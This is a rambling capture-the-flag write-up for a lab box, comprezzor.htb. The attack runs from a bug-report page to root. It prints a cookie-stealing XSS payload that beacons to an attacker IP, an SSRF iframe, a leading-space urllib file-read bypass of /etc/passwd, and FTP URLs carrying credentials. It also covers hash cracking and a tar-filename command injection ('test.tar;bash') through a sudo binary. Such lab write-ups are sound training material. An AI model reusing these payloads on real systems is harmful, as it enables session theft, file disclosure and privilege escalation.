This is a big of a slog and rambling run through of this challenge. This one was hard for me due to the high number of avenues required to be investigated for root. There were red herrings and many necessary paths to explore.

Recon

Looks like the web service on port 80 is going to the best initial avenue. I will also add comprezzor.htb to my /etc/hosts file for ease during this box.

The site is some sort of compression service with a file upload. This screams LFI and/or command injection to me.

There is also a link to a bug report site at report.comprezzor.htb. Adding that to /etc/hosts allows me to see more of that functionality.

The mention of every bug being reviewed screams phishing attack to me. Clicking on the "Report a Bug" link, reveals yet another domain auth.comprezzor.htb.

Registering is straight forward and allows access to a bug submission for with Title and Description plaintext field.

Website

The website seems to just use a base64 encoded data blob for the user_data cookie, which seems like it could be manipulated. The session cookie looks kind of like a JWT.

The compression functionality seems to operate pretty much as expected and just posts the file contents for compression. A few quick and dirty command injection tests were not fruitful and it seems more advantageous to focus on the bug submission aspect.

First I want to look at each of the parameters in the user_datacookie. A quick test of these parameters does not yield much either.

Next, looking back at the phishing aspect of the bug report, I first want to see about submitting a cookie stealing XSS payload. Submitting a bug report with that payload is successful at stealing someone's cookie.

Decoding the cookie indicates that this is User ID 2 with a random username. But I did realize that this did not include the location that the user was accessing. So I updated the payload to also include the location the request is coming from.

<script>var i=new Image(); i.src="http://10.10.16.41/?cookie="+btoa(document.cookie)+"&location="+btoa(document.location);</script>

With that payload, we get a location of http://dashboard.comprezzor.htb/report/24. So now the trick is to try to login to the dashboard app with the newly captured cookie. Success using Burp!

Now I just need to figure out what happens here. Looking at the reports, it seems like there is an issue with compressing large files that will likely be worth exploring.

To create a large dummy file, I used fallocate -l 10G gentoo_root.img.

This did not seem to work.

Bug Report Admin

Based on some of the wording in the About section, it seems that perhaps a higher permissioned use will review high priority bug reports. So using the same payload above, I submitted a bug report and using the previously captured cookie, I escalated the priority of my payload infused big report. The captured cookie this time is User ID 1 and an admin.

Using this cookie to access the Dashboard, we see a new set of functionality.

Full report list
Create a backup
Create PDF Report

The report list function operates about as expected and does not seem to provide any additional avenues for exploitation.

The backup function seems to do some sort of internal function and indicates a backup was created and uploaded. Perhaps there is a way to retrieve the backup file.

The Generate PDF Report function requests a URL and it appears that the function requests a resource from the entered URL. When using a text file hosted on my system as the URL, the function produces a PDF of the text file. There is likely to be some path here with whatever library is being utilized to generate the PDF.

Abusing PDF Generation Funcationality

From the PDF metadata, we see two tools being utilized.

wkhtmltopdf 0.12.6 - Server Side Request Forgery

wkhtmltopdf 0.12.6 - Server Side Request Forgery. CVE-2022-35583 . webapps exploit for ASP platform

Exploit DatabaseMomen Eldawakhly

We can see at least one of the components have a SSRF vulnerability. Hosting a file with the following payload and using that hosting location URL for the PDF Report Generation, confirms that we can execute SSRF.

this is only a test

<iframe src="http://10.10.16.41/test.txt">

The next step is to figure out how to leverage this into additional access.

Capturing one of the requests to my server, I get some addition information that the target server is using Python-urllib/3.11 to make the requests.

Turns out there is a CVE associated with this version of the library.

CVE-2023–24329 Bypassing URL Blackslisting using Blank in Python urllib library

in-depth analysis of CVE-2023–24329

Mediumvsociety

After a bunch of running around trying to use the SSRF to trigger this vulnerability, it turns out you could just enter it into the text box. The SSRF was only useful to show me what additional software was at play.

The payload file:/etc/passwd with a space in front of it worked and was the key to moving forward.

Trying some common payloads like trying to get the Shadow file were not successful. A few new pieces of information are:

A Geoclue service
Only root is configured as an interactive user
Avahi mDNS daemon, presumably to support the various domains in use on this single host

User Escalation

With the local file inclusion vulnerability now fully exploitable, I can use this to explore the system. /proc/self/cmdline can be used to see what commandline started the current process.

Don't forget about the /proc/ portion of the Linux filesystem, especially the /proc/self/ directory which refers to the currently running application. /proc/self/cmdline can be used to get an idea of how the program was invoked (and potentially see source code location). pic.twitter.com/ekW7lE1hdr
— John Hammond (@_JohnHammond) October 20, 2020

With this, I can see that the command to start the current process was python3/app/code/app.py. So let's take a look at that file.

Of note here is obviously the app.secret_key. Also, we can look at the import statements to see was local resources are being imported.

from flask import Flask, request, redirect
from blueprints.index.index import main_bp
from blueprints.report.report import report_bp
from blueprints.auth.auth import auth_bp
from blueprints.dashboard.dashboard import dashboard_bp

Of these, the dashboard file is the most interesting. It outlines the backup process and also reveals FTP credentials for where the backup is being stored. ftp_admin:u3jai8y71s2. We can also see the filename format:

current_datetime = datetime.now().strftime("%Y%m%d%H%M%S") backup_filename = f'app_backup_{current_datetime}.zip'

Given the current time component of the filename, this might be difficult to access and determine the failure modes of my attempts. Also, even if this works, it would be returning a ZIP file within a PDF, so probably not much use either. We need to find another way to get after the backup contents.

Finally, I tried the payload below and got a directory listing with some interesting files to retrieve. ftp://ftp_admin:u3jai8y71s2@ftp.local/ with a leading space of course.

Now to pull back those files for analysis.

SSH Passphrase: Y27SH19HDIWD

SSH Key Recon

I found this article to extract the public key portion of a private key. So using the command ssh-keygen -y -f id_rsa and the passphrase above, I can get the public key and the associated user.

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDfUe6nu6udKETqHA3v4sOjhIA4sxSwJOpWJsS//l6KBOcHRD6qJiFZeyQ5NkHiEKPIEfsHuFMzykx8lAKK79WWvR0BV6ZwHSQnRQByD9eAj60Z/CZNcq19PHr6uaTRjHqQ/zbs7pzWTs+mdCwKLOU7x+X0XGGmtrPH4/YODxuOwP9S7luu0XmG0m7sh8I1ETISobycDN/2qa1E/w0VBNuBltR1BRBdDiGObtiZ1sG+cMsCSGwCB0sYO/3aa5Us10N2v3999T7u7YTwJuf9Vq5Yxt8VqDT/t+JXU0LuE5xPpzedBJ5BNGNwAPqkEBmjNnQsYlBleco6FN4La7Irn74fb/7OFGR/iHuLc3UFQkTlK7LNXegrKxxb1fLp2g4B1yPr2eVDX/OzbqAE789NAv1Ag7O5H1IHTH2BTPTF3Fsm7pk+efwRuTusue6fZteAipv4rZAPKETMLeBPbUGoxPNvRy6VLfTLV+CzYGJTdrnNHWYQ7+sqbcJFGDBQ+X3QelE= dev_acc@local

With this information, I can SSH into the target and get the User flag.

Root

Recon

No sudo privs
No access to other home directories but we see adam and lopez accounts.
Root running several files
- /ftp/server.py - no user access
- /app/code/app.py - no user access
- /root/scripts/automate/make_req.py - no user access
Looking in /var/log most files are inaccessible but suricata and laurel are not common and the NGINX logs are accessible.
- Suricata logs have reference to:
  - adam.comprezzor.htb/adam - 404
  - dadamail.comprezzor.htb/dadmail - 404
  - FTP session for user lopez - need to find the corresponding password log
    - FTP server at 192.168.227.13 port 21
    - Use command to search logs within the Suricata directory
    - lopez password Lopezz1992%123

Escalation

Using the above, I can su to Lopez, who is a part of the sys-adm group, which is going to yield expanded access

This expanded access includes sudo privileges on /opt/runner2/runner2

That file is an executable, but we don't know what it does. Running with a help flag elicits the error Failed to open the JSON file: No such file or directory which seems to indicate that it wants to read a file from somewhere.

Runner2 File

Running strings on the file yields some interesting items:

The file is utilizing Ansible somehow
- /opt/playbooks/
- /opt/playbooks/inventory.ini
Usage: %s <json_file>

Further investigating the file with Ghidra, I see a check_auth function with an MD5 hash in a string compare function. I am not sure how to use this yet, but cracking with Hashcat was not successful.

Given that this is runner2 I decided to search for a previous version of the file.

find / -name *runner*

This found me to file /usr/local/bin/runner which does actually provide a help menu.

The list command shows that the command is meant to run an Ansible playbook. But runner2 wants a JSON file. It took me forever to figure out the format of the JSON file because it was nested in a way I was not expected, but once I read further down in the code of the main function. I was able to see that the run key was referenced twice in different ways that clued me in.

  {
          "run": {
                "action": "list",
                "auth_code": "something",
                "run": 1
          }
  }

So now to experiment more. First by figuring out how to bypass the auth check.

Back to Recon

Here is where I decided to go back to recon and specifically, looked in the /var/www directory. Drilling down, I found a user database and was able to get hashes out of that.

Nest was to crack these. Searching Hashcat I saw that there was a Werkzeug SHA256 mode (30120), so tried that and got adam:adam gray. Now what to do this?

Logon to the OS as adam – nope
FTP localhost – yep

FTP Access Expanded

This FTP connection includes a backup directory which includes a runner1 directory. This is likely an earlier version of runner2.

So lets get that back and analyze it. In this directory are 3 files: runner1, runner1.c, and run-test.sh

run-tests.sh includes a partial password.

Maybe the whole think shows up in the C file. Alas, neither the C file or compiled runner1 binary has the full password, but perhaps based on the syntax above, we can just brute force the last 4 characters from the [A-Z0-9] character space. This article was a huge help in crafting the Hashcat command to brute force those last 4 characters.

hashcat -m 0 -a 3 -1 -?l?u runner2.hash UHI75GHI?1?1?1?1

Which results in a cracked password/key of UHI75GHINKOP. Now to try this on the runner2 binary.

Exploiting the Binary

With the auth key, I was able to better troubleshoot the JSON format and finally got full execution with this format.

  {
          "auth_code": "UHI75GHINKOP",
          "action": "run",
          "run": {
                  "num": 1,
                  "action": "run"
          }
  }

But the "run" action doesn't seem to have much value to me. So I will try the "install". Specifically, I am interested in what the Role File key does. Reading through some Ansible documentation, it seems you can load a collection of playbooks, roles, etc. from a TAR archive. So I copied the existing APT playbook and modified it with some commands I wanted, TAR'd it up and ran that.

  {
          "auth_code": "UHI75GHINKOP",
          "action": "install",
          "run": {
                  "num": 1,
                  "action": "install",
                  "role_file": "/tmp/test.txt"
          }
  }

Looking at the code for the installRole function, we see that after checking that the file is a valid TAR archive, it then passes the parameter to a raw command string. This means that if we can create valid TAR file with some command injection strings, then we can get command execution. To do so, we simply TAR up some dummy files with a name like my_tar_archive.tar;bash.

tar -cvf /tmp/test.tar;bash /tmp/test.json

Then we inject that file name into our proper JSON file.

  {
          "auth_code": "UHI75GHINKOP",
          "action": "install",
          "run": {
                  "num": 1,
                  "action": "install",
                  "role_file": "/tmp/test.tar;bash"
          }
  }

And execute!

Conclusion

This one was pretty hard, not because of any of the specific skills needed but due to the sheer number of different skills required. I don't reverse binaries very often so this was a welcome exercise. Also, I need to improve my recon game as I missed the /var/www directory and subsequent credentials --> FTP path until very late in the challenge, which caused a lot of pain for a while when working with the binary.